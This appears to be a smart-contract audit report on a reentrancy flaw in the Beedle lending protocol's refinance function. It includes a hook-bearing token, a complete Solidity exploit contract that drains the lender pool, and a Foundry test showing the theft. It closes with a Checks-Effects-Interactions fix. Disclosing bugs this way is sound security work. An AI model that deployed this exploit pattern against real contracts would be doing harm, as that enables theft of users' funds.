Summary
Tokens allowing reentrant calls on transfer can be drained from a pool.
Vulnerability Details
Some tokens allow reentrant calls on transfer (e.g. ERC777
tokens).
Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the refinance
function. When the new debt
is more than the current loan debt, the difference is sent to the borrower before updating the state.
File: Lender.Sol
L647: } else if (debtToPay < debt) {
uint256 fee = (borrowerFee * (debt - debtToPay)) / 10000;
IERC20(loan.loanToken).transfer(feeReceiver, fee);
IERC20(loan.loanToken).transfer(msg.sender, debt - debtToPay - fee);
}
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L653
Impact
POC
An attacker can use the following exploit contract to drain the lender
contract:
File: Exploit2.sol
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit2 {
Lender lender;
address loanToken;
address collateralToken;
bool borrowed;
Refinance refinance;
uint256 i;
constructor(Lender _lender, address _loanToken, address _collateralToken) {
lender = _lender;
loanToken = _loanToken;
collateralToken = _collateralToken;
}
function attack(bytes32 _poolId, uint256 _debt, uint256 _collateral, uint256 _loanId, uint256 _newDebt) external {
ERC20(collateralToken).approve(address(lender), _collateral);
Borrow memory b = Borrow({
poolId: _poolId,
debt: _debt,
collateral: _collateral
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
borrowed = true;
refinance = Refinance({
loanId: _loanId,
poolId: _poolId,
debt: _newDebt,
collateral: _collateral
});
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = refinance;
lender.refinance(refinances);
ERC20(loanToken).approve(address(lender), _newDebt);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = _loanId;
lender.repay(loanIds);
ERC20(loanToken).transfer(msg.sender, ERC20(loanToken).balanceOf(address(this)));
ERC20(collateralToken).transfer(msg.sender, ERC20(collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address , uint256 amount) external {
require(msg.sender == loanToken, "not collateral token");
if (from == address(lender) && borrowed) {
if (i < 4) {
i = i + 1;
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = refinance;
lender.refinance(refinances);
}
}
}
}
Here are the tests that can be added to Lender.t.sol
to illustrate the steps of an attacker:
function test_exploit() public {
address attacker = address(0x5);
collateralToken.mint(address(attacker), 100*10**18);
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000*10**18);
weirdToken.approve(address(lender), 1_000*10**18);
Pool memory p = Pool({
lender: lender1,
loanToken: address(weirdToken),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
assertEq(collateralToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 1_000*10**18);
assertEq(collateralToken.balanceOf(address(attacker)), 100*10**18);
assertEq(weirdToken.balanceOf(address(attacker)), 0);
vm.startPrank(attacker);
Exploit2 attackContract = new Exploit2(lender, address(weirdToken), address(collateralToken));
collateralToken.transfer(address(attackContract), 100*10**18);
uint256 debt = 10*10**18;
uint256 collateral = 100*10**18;
uint256 loanId = 0;
uint256 newDebt = 100*10**18;
attackContract.attack(poolId, debt, collateral, loanId, newDebt);
assertEq(collateralToken.balanceOf(address(lender)), 0);
assertLt(weirdToken.balanceOf(address(lender)), 650*10**18);
assertEq(collateralToken.balanceOf(address(attacker)), 100*10**18);
assertGt(weirdToken.balanceOf(address(attacker)), 350*10**18);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by updating the loan debt before transfering the excess loan tokens AND use nonReentrant modifiers